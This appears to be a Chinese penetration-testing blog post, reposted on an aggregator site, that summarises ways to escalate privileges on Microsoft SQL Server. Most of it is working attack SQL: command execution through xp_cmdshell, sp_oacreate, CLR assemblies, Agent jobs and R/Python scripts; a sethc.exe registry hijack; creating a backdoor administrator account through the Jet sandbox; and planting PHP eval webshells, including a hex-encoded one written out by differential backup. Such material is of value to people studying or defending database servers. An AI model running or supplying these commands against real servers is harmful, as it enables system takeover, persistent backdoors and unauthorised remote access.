SQL Server 数据库常见提权总结

前面总结了linux和Windows的提权方式以及Mysql提权,这篇文章讲讲SQL Server数据库的提权。

目录

基础知识

权限判定

系统数据库

存储过程

常见系统存储过程

常见扩展存储过程

xp_cmdshell扩展存储过程提权

xp_dirtree写入文件提权

sp_oacreate提权

xp_regwrite映像

沙盒提权

CLR提权

Agent Job提权

R和python脚本执行提权

差异备份写入webshell


基础知识

权限判定

在SQLsever中有三种特殊的用户:

  • 系统管理员(dba权限),对应服务器角色sysadmin,可以执行SQLserver的任何动作,包括数据库操作、文件管理、命令执行、注册表读取等,是SQLserver的最高权限。
  • 数据库所有者(dbo权限),对应数据库db_owner,可以执行数据库中技术所有动作,包括文件管理、数据库操作等。
  • public角色,是一个特殊的固定角色,数据库的每个合法用户都属于该角色,它为数据库中的用户提供了所有默认权限。
#判断是否dba权限
select IS_SRVROLEMEMBER('sysadmin');
#判断是否dbo权限
select IS_SRVROLEMEMBER('db_owner');
#判断是否public权限
select IS_SRVROLEMEMBER('public');

系统数据库

库名含义
mastermaster数据库控制SQLserver数据库所有方面。这个数据库包括了所有的配置信息、用户登录信息、当前正在服务器中运行的过程信息等。
modelmodel数据库是建立所有用户数据库时的模版。新建数据库时,SQLserver会把model数据库中的所有对象建立一份拷贝并移动到新数据库中。
tempdbtempdb数据库时一个非常特殊的数据库,供所有访问SQLserver数据库的用户使用。这个库用来保存所有临时表、存储过程和其他SQLserver临时建立的东西。
msdbmsdb数据库是数据库的特例,查看数据库的实际定义,又会发现它是一个用户数据库。所有的任务调度、报警、操作员都存储在msdb数据库中,还有另一个功能就是用来存储所有备份历史。SqlServer agent将会使用这个库。

存储过程

 数据库中的存储过程可以看作是对编程中面向对象方法的模拟,将存储过程理解为函数调用的过程,使用execute命令执行存储过程。存储过程为数据库提供了强大的功能,在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如创建数据库用户、枚举文件目录、执行任意系统命令等。所以SqlServer2008之后的版本分别对存储过程做了权限控制,以防滥用。

存储过程也分为几类:

  • 系统存储过程:主要存储在master数据库中,以"sp_"为前缀,在任何数据库中都可以调用,在调用的时候不必再存储过程前加上数据库名。
  • 扩展存储过程:对动态链接库(DLL)函数的调用,主要用于客户端与服务器端或客户端之间进行通信的,以"xp_"为前缀,使用方法与系统存储过程类似。
  • 用户定义的存储过程:SQLServer的使用者编写的存储过程。

常见系统存储过程

系统存储过程说明
sp_databases列出服务器上的所有数据库
sp_helpdb报告有关指定数据库或所有数据库的信息
sp_renamedb更改数据库的名称
sp_tables

返回当前环境下可查询的对象的列表

sp_columns回显某个表列的信息
sp_help查看某个表的所有信息
sp_helpconstraint查看某个表的约束
sp_helpindex查看某个表的索引
sp_stored_procedures列出当前环境中的所有存储过程
sp_password添加或修改登录账户的密码
sp_helptext显示默认值、未加密的存储过程、用户定义的存储过程、触发器或视图的实际文本
sp_oacreate删除、复制、移动文件等
sp_oamethod执行文件
sp_makewebtask创建一项生成HTML文档的任务,该文档包含执行过的查询语句返回的数据
#列出当前系统中的数据库
exec sp_databases#修改数据库的名称
exec sp_renamedb 'Northwind','Northwind1'#写入一句话木马(这里的一句话木马要转换成URL格式)
exec sp_makewebtask 'c:\shell.jsp','select'' %3C%25%65%78%65%63%75%74%65 %72%65%71%75%65%73%74%28%22%76%61%6C%75%65%22%29%25%3E'''--#其他使用类似,有点偷懒了

常见扩展存储过程

xp_cmdshell

使用xp_cmdshell可以连接sql server的时候执行doc命令。

调用语法:exec xp_cmdshell DOS命令 [NOT_OUTPUT]

#获取D盘下的目录
exec master.sys.xp_cmdshell 'dir D:\'

需要注意的是:

1、首次使用需要使用exec sys.sp_configure @configname = 'xp_cmdshell',@configvalue = 1 来启用xp_cmdshell ,默认情况下,sql server 是禁用本功能的

2、可以使用 no_output 来忽略输出结果;

xp_dirtree

返回文件的目录结构。

使用方法:

exec xp_dirtree '文件目录'           #列出指定目录所有文件、目录、子目录

exec xp_dirtree '文件目录',1        #列出指定目录的目录

exec xp_dirtree'文件目录',1,1      #列出指定目录的目录、文件

xp_logininfo:返回数据库服务器windows用户和windows组的信息。

xp_regread:读取注册表信息。

xp_regwrite:写入注册表信息。

xp_enumds:进行与ODBC连接。

xp_loginconfig:配置服务器安全模式信息。

xp_makecab:创建压缩卷。

xp_ntsec_enumdomains:查看domain信息。

xp_terminate_jroces:查看终端进程

xp_cmdshell扩展存储过程提权

此存储过程在SqlServer2000中默认开启,2005及以后的版本默认禁止。

前提条件:

  • 已经获取到SqlServer的sysadmin权限用户的账号和密码
  • SqlServer服务未降权
  • SqlServer允许外连

1、首先开启xp_shell

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

如果xp_cmdshell被删除,可以重新上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

2、执行命令

EXEC master.dbo.xp_cmdshell '命令'

3、关闭xp_cmdshell

exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

xp_dirtree写入文件提权

一般写入webshell提权最费解之一的事情就是获取绝对路径,可以通过SqlServer的扩展存储过程来进行获取和写入。

条件:服务器未被降权,有写入功能,但是SqlServer之后数据库就默认被降权为mssql了,写入写入不了。

具体过程:

1、利用xp_dirtree获取到文件的绝对路径

exec xp_dirtree 'C:',1,1

2、然后再利用xp_cmdshell写入木马

#写入木马
exec xp_cmdshell "echo '^<?php @eval($_POST[123]);?^>' >c:\2.php"

sp_oacreate提权

在xp_cmdshell被删除或不能利用可以考虑利用sp_oacreate,sp_oacreate是一个存储过程,可以删除、复制、移动文件,配合sp_oamethod来写文件执行系统命令

利用条件:需要SqlServer的sysadmin账户即服务器权限为system(但SqlServer2019默认被降权未mssql)。

1、首先判断sp_oacreate是否存在,返回1证明存在

select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate'

2、开启sp_oacreate

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'ole automation procedures',1;
reconfigure;

3、执行命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'

4、无回显,可以把文件内容导入数据库表中,然后再使用查询语句查询内容

bulk insert readfile from 'D:\1.txt';
select * from readfile;

xp_regwrite映像

xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,利用regwrite函数修改注册表,起到劫持作用。

利用条件:

  • SqlServer系统权限可以修改注册表
  • system权限

1、判断xp_rewrite是否存在,返回1证明存在

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'

2、开启xp_rewrite

EXEC sp_configure 'show advanced options',1;RECONFIGURE
EXEC sp_configure 'xp_regwrite',1;RECONFIGURE

这里实验没有权限修改注册表。

3、劫持注册表

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

4、查看是否劫持成功

EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

劫持成功后连按5次shift会弹出cmd(win defender会拦截弹出的cmd并删除已经劫持的注册表) 

5、关闭xp_write

EXEC sp_configure 'show advanced options',1;RECONFIGURE
EXEC sp_configure 'xp_regwrite',0;RECONFIGURE

沙盒提权

当执行命令方法无法使用时,可以使用沙盒进行提权。

沙盒模式是一种安全功能。在沙盒模式下,Access只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则认为它是安全的。

一般情况下,注册表中mdb数据库不允许执行系统命令,但是开启沙盒模式,就允许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。

利用条件:

  • sqlserver的sysadmin账户权限为system
  • 一般在32位操作系统以上,拥有jet.oledb.4.0驱动

1、开启Ad Hoc Distributed Queries

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;

2、开启沙盒模式:0是禁用,1是仅在允许范围内,2是必须在access模式下,3是完全开启

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

因为这里没有Microsoft.jet.oledb.4.0,因此显示拒绝 访问。

3、执行系统命令

执行添加一个管理员margin命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

net user查看用户是否添加成功

然后将margin用户提升到超级管理员权限

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

net localgroup administrators 查看超级管理员组账户是否提权成功。

4、恢复配置

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;exec sp_configure 'show advanced options',0;reconfigure;

CLR提权

Microsoft SQL server2005之后具备与Microsoft .NET Framework的公共语言运行时(CLR)的集成。CLR集成使得现在可以使用.NET Framework语言编写代码,从而能够在SQL server上运行,那么就意味着可以通过C#来编写SQL server自定义函数、存储过程、触发器等。

利用条件:

  • 需要dba权限,运行在system下
  • SQLserver上能启动CLR并可以创建自定义存储过程

1、开启CLR

exec sp_configure 'show advanced options',1;
RECONFIGURE;
exec sp_configure 'clr enabled',1;
RECONFIGURE;

2、当导入了不安全的程序集之后,需将数据库标记为可信任

ALTER DATABASE master SET TRUSTWORTHY ON;

3、编写一个CLR

(1)首先在本地visual studio创建一个SQL Server数据库项目,然后在项目中添加一个存储过程

(2)然后写入代码,右键生成,会在工作当前目录下生成几个文件

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{[Microsoft.SqlServer.Server.SqlProcedure]public static void SqlStoredProcedure1 (){// 在此处放置代码System.Diagnostics.Process process = new System.Diagnostics.Process();process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;process.StartInfo.FileName = "cmd.exe";process.StartInfo.Arguments = "/C whoami > c:\\temp\\1.txt";process.Start();}
}

(3)然后注册DLL

(4)注册完成后,创建存储过程

CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec

4、执行系统命令

EXEC sp_cmdExec 'whoami';

5、删除存储过程和程序集

DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY sp_cmdExec;

Agent Job提权

SqlServer代理是一项Microsoft Windows服务,它执行计划的管理任务,这些任务在SqlServer中称作为作业。

利用条件:需要dba权限。

1、启动sqlagent

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

2、利用任务计划命令执行,创建任务test并执行命令,将结果写入1.txt

use msdb;
exec sp_delete_job null,'test';
exec sp_add_job 'test';
exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>D:/1.txt"';
exec sp_add_jobserver null,'test',@@servername;
exec sp_start_job 'test';

3、命令执行成功如果没有回显,可以采取把1.txt写入表中,然后使用查询语句查询表使得内容回显。

Use model;
bulk insert readfile from 'D:\1.txt';
select * from readfile;

R和python脚本执行提权

在SqlServer2017及更高版本中,R与Python一起随附在机器学习服务中,所以可以通过sp_execute_external_script执行Python和R脚本。

利用条件:

  • dbo或dba权限
  • SqlServer允许执行外部脚本

1、开启dba权限

EXEC sp_configure 'external scripts enabled',1;RECONFIGURE

2、执行命令

-- 利用R执行命令
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
--利用python执行命令
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'

3、关闭dba权限

EXEC sp_configure 'external scripts enabled',0;RECONFIGURE

差异备份写入webshell

dbo和dba都有备份数据库权限,可以把数据库备份成可执行脚本放入web目录里,获得webshell

利用条件:

  • 知道网站绝对路径并且允许写入文件
  • dbo或dba权限
  • 数据库必须存在备份文件

1、生成备份文件

backup database test to disk = 'C:\phpstudy_pro\WWW\1.bak';

2、创建表并写入一句话木马

create table test([cmd][image]);
Insert into test(cmd)values(0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e);#<?php @eval($_REQUEST['a']);?>的hex编码

3、将数据库进行差异备份

backup database test to disk='C:\phpstudy_pro\WWW\shell.php' WITH DIFFERENTIAL,FORMAT;

参考链接:

SQL Server提权总结 - 知乎

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2905390.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

那些激励你深入研究技术的语录

遇到耗时高的问题&#xff0c;90%能用重启解决&#xff0c;但是不找到原因&#xff0c;问题一定会再次出现。 代码里的Bug就像房间里的老鼠&#xff0c;你不找到它&#xff0c;它就会一直捣乱。 代码的质量决定了程序的稳定性&#xff0c;而程序的稳定性则决定了业务的成败。 不…

面试题:Redis

一、为什么要用Redis&#xff1f; 1、内存数据库&#xff0c;快&#xff0c;很快....... 2、工作单线程worker&#xff0c;串行化、原子操作. &#xff08;IO线程是多线程&#xff09;- 避免上下文切换 3、IO模型&#xff08;epoll&#xff09;, 支撑高并发. 4、kv模型&…

风电机组的CMS(Condition Monitoring System,状态监测系统)收集的振动信号中包含的噪声主要来源

风电机组的CMS&#xff08;Condition Monitoring System&#xff0c;状态监测系统&#xff09;收集的振动信号中包含的噪声主要来源于风电机组在运行过程中的各种机械部件和环境因素。具体来说&#xff0c;这些噪声主要包括&#xff1a; 机械噪声及结构噪声&#xff1a; 齿轮箱…

华为防火墙配置指引超详细(包含安全配置部分)以USG6320为例

华为防火墙USG6320 华为防火墙USG6320是一款高性能、高可靠的下一代防火墙,适用于中小型企业、分支机构等场景。该防火墙支持多种安全功能,可以有效抵御网络攻击,保护网络安全。 目录 华为防火墙USG6320 1. 初始配置 2. 安全策略配置 3. 防火墙功能配置 4. 高可用性配…

Linux shell编程学习笔记42:md5sum

0 前言 前几天在国产电脑上遇到一个问题&#xff0c;先后接到两个文件&#xff0c;如何判断这两个文件内容是否相同&#xff1f; 如果是在Windows系统&#xff0c;可以用fc命令&#xff0c;或者用我自己写的FileInfo&#xff0c;提取两个文件有MD5、SHA1、CRC32值进行比较来判…

搭建文件服务器,按组别授权,并且可查看操作日志。

搭建一个文件服务器并实现按组别授权以及操作日志查看&#xff0c;可以使用开源的解决方案如Samba&#xff08;在Linux环境下&#xff09;或Windows Server中的DFS&#xff08;分布式文件系统&#xff09;结合Active Directory进行权限管理。以下是一个基于Samba和Linux环境的基…

(五)Nacos配置管理

1.Nacos配置管理 Nacos除了可以做注册中心&#xff0c;同样可以做配置管理来使用。 1.1.统一配置管理 当微服务部署的实例越来越多&#xff0c;达到数十、数百时&#xff0c;逐个修改微服务配置就会让人抓狂&#xff0c;而且很容易出错。我们需要一种统一配置管理方案&#…

Windows系统搭建Oracle结合内网穿透实现公网访问本地数据库

文章目录 前言1. 数据库搭建2. 内网穿透2.1 安装cpolar内网穿透2.2 创建隧道映射 3. 公网远程访问4. 配置固定TCP端口地址4.1 保留一个固定的公网TCP端口地址4.2 配置固定公网TCP端口地址4.3 测试使用固定TCP端口地址远程Oracle 前言 Oracle&#xff0c;是甲骨文公司的一款关系…

吴恩达机器学习:实践实验室-应用机器学习的建议(Advice for Applying )

在这个实验室中&#xff0c;您将探索评估和改进机器学习模型的技术。 文章目录 1 - Packages2-评估学习算法&#xff08;多项式回归&#xff09;2.1拆分数据集2.1.1图列、测试集 2.2模型评估的误差计算&#xff0c;线性回归2.3比较训练和测试数据的表现 3-偏差和方差3.1绘图列…

python各类数据容器总结

各种数据容器的对比 是否支持下标索引 支持&#xff1a;列表、元组、字符串-序列类型 不支持&#xff1a;集合、字典 是否支持重复元素 支持&#xff1a;列表、元组、字符串-序列类型 不支持&#xff1a;集合、字典-非序列类型 是否可以修改 支持&#xff1a;列表、集合、字…

【YOLOV5 入门】——环境配置(Miniconda/Pytorch/YOLOv5/PYPI镜像源)

声明&#xff1a;笔记是毕设时根据B站博主视频学习时自己编写&#xff0c;请勿随意转载&#xff01; 计划&#xff1a; 入门篇&#xff1a;环境安装、模型检测、构建自定义数据集、训练数据集、可视化界面搭建、Web系统搭建。拓展篇&#xff1a;使用服务器训练、使用pycharm和…

|行业洞察·趋势报告|《2024年时尚潮流趋势洞察-31页》

报告内容的详细解读&#xff1a; |趋势洞察库| 关注我 主页个人介绍 查看完整报告 1. 新中式潮流 定义与特点&#xff1a;新中式风格是将传统文化元素与现代审美相结合的一种风格&#xff0c;它在服装、美妆、美食和家居等多个领域都有广泛的应用。热度分析&#xff1a;新中…

学习JavaEE的日子 Day32 线程池 上

Day32 线程池 1.引入 一个线程完成一项任务所需时间为&#xff1a; 创建线程时间 - Time1线程中执行任务的时间 - Time2销毁线程时间 - Time3 2.为什么需要线程池(重要) 线程池技术正是关注如何缩短或调整Time1和Time3的时间&#xff0c;从而提高程序的性能。项目中可以把Time…

Grafana实时监控minio的极简方法

背景 想监控一下minio的部分信息. 使用过程中需要关注的内容挺多的. 只看简单的node感觉已经不够了. 所以想监控易一下. ERLANG 复制 全屏 方式和方法 minio其实集成了prometheus 支持的监控指标 只需要在配置文件中放开就可以了. 虽然可以使用mc 的命令 create beartoken 但…

002-基于Pytorch的手写汉字数字分类

本节将介绍一种 2.1 准备 2.1.1 数据集 &#xff08;1&#xff09;MNIST 只要学习过深度学习相关理论的人&#xff0c;都一定听说过名字叫做LeNet-5模型&#xff0c;它是深度学习三巨头只有Yann Lecun在1998年提出的一个CNN模型&#xff08;很多人认为这是第一个具有实际应用…

ARMv9新特性:虚拟内存系统架构 (VMSA) 的增强功能

快速链接: 【精选】ARMv8/ARMv9架构入门到精通-[目录] &#x1f448;&#x1f448;&#x1f448; 权限索引 2022 ARM引入了一种新的控制内存权限方法。 不再是直接在转换表条目 (TTE) 中编码权限&#xff0c;而是使用 TTE 中的字段来索引寄存器中指定的权限数组。这种间接提供…

hadoop-3.1.1分布式搭建与常用命令

一、准备工作 1.首先需要三台虚拟机&#xff1a; master 、 node1 、 node2 2.时间同步 ntpdate ntp.aliyun.com 3.调整时区 cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime 4.jdk1.8 java -version 5.修改主机名 三台分别执行 vim /etc/hostname 并将内容指定为…

大模型时代下的“金融业生物识别安全挑战”机遇

作者&#xff1a;中关村科金AI安全攻防实验室 冯月 金融行业正在面临着前所未有的安全挑战&#xff0c;人脸安全事件频发&#xff0c;国家高度重视并提出警告&#xff0c;全行业每年黑产欺诈涉及资金额超过1100亿元。冰山上是安全事件&#xff0c;冰山下隐藏的是“裸奔”的技术…

主流好用的 Markdown 编辑器介绍

在当今程序员的日常工作中&#xff0c;Markdown 已经成为了一种常用的文本标记语言&#xff0c;它简洁、易读、易写&#xff0c;被广泛应用于写作、文档编写、博客撰写等场景。为了更高效地编辑和管理 Markdown 格式的文档&#xff0c;选择一款功能强大、易用的 Markdown 编辑器…

I.MX6ULL_Linux_驱动篇(55)linux 网络驱动

网络驱动是 linux 里面驱动三巨头之一&#xff0c; linux 下的网络功能非常强大&#xff0c;嵌入式 linux 中也常常用到网络功能。前面我们已经讲过了字符设备驱动和块设备驱动&#xff0c;本章我们就来学习一下linux 里面的网络设备驱动。 嵌入式网络简介 网络硬件接口 首先…